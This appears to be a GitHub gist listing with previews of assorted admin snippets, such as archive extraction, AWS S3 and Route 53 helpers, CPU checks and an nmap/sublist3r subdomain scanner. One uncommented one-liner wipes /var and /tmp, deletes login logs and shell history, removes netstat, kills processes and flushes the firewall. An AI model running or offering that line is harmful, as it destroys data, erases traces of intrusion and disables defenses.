This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Scan a domain, find the servers that are up, and port scan them; automated | |
| # Requires: nmap, sublist3r | |
| # domain to scan | |
| DOMAIN=$1 | |
| # subdomain file | |
| SUBD="./results/found_dns.txt" | |
| # nmap results from ping scan |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| extract() { | |
| if [[ -z "$1" ]]; then | |
| echo "Usage: extract <file>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>" | |
| exit 1 | |
| else | |
| if [[ -f "$1" ]]; then | |
| case $1 in | |
| *.7z) 7z x $1;; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def run_script(script, stdin=None): | |
| """Returns (stdout, stderr), raises error on non-zero return code""" | |
| import subprocess | |
| # Note: by using a list here (['bash', ...]) you avoid quoting issues, as the | |
| # arguments are passed in exactly this order (spaces, quotes, and newlines won't | |
| # cause problems): | |
| proc = subprocess.Popen(['bash', '-c', script], | |
| stdout=subprocess.PIPE, stderr=subprocess.PIPE, | |
| stdin=subprocess.PIPE) | |
| stdout, stderr = proc.communicate() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| aws s3api --profile PROFILE_NAME list-objects --bucket BUCKET_NAME --output json --query "[sum(Contents[].Size), length(Contents[])]" | awk 'NR!=2 {print $0;next} NR==2 {print $0/1024/1024/1024" GB"}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $inactive_archives_path = 'D:\LogRhythmArchives\Inactive' | |
| $s3_bucket = 's3-bucket-name-goes-here' | |
| $TTL = 3 | |
| Set-AWSCredentials -StoredCredentials stored-cred-name | |
| Set-DefaultAWSRegion us-east-1 | |
| # Get all archive directories | |
| $inactive_archives = Get-ChildItem -Path $inactive_archives_path | |
| # Get oldest date to keep |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # Calculate sum of files older than X date | |
| # File is large csv w/ format: filename,date time:time,x.xxx(mb) | |
| # -- Cole Hocking | |
| import csv | |
| from datetime import datetime, timedelta | |
| from sys import argv, exit | |
| import os.path as opath |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Check supported total number of CPUs | |
| grep CONFIG_NR_CPUS /boot/config-`uname -r` | |
| # Check the number of processors the OS is utilizing | |
| dmesg | grep processor |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # Get Subdomain Record Sets for Hosted Zone ID in Route 53 | |
| # Requires: AWS CLI; jq | |
| # -- Cole Hocking | |
| # Takes Hosted Zone ID as arg | |
| HZID=$1 | |
| OUTFILE="./subdomain_list.txt" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # install | |
| sudo apt install icecast2 | |
| # find lost configs | |
| dpkg -L icecast2 | grep etc | |
| # default config path | |
| /etc/icecast2/icecast.xml |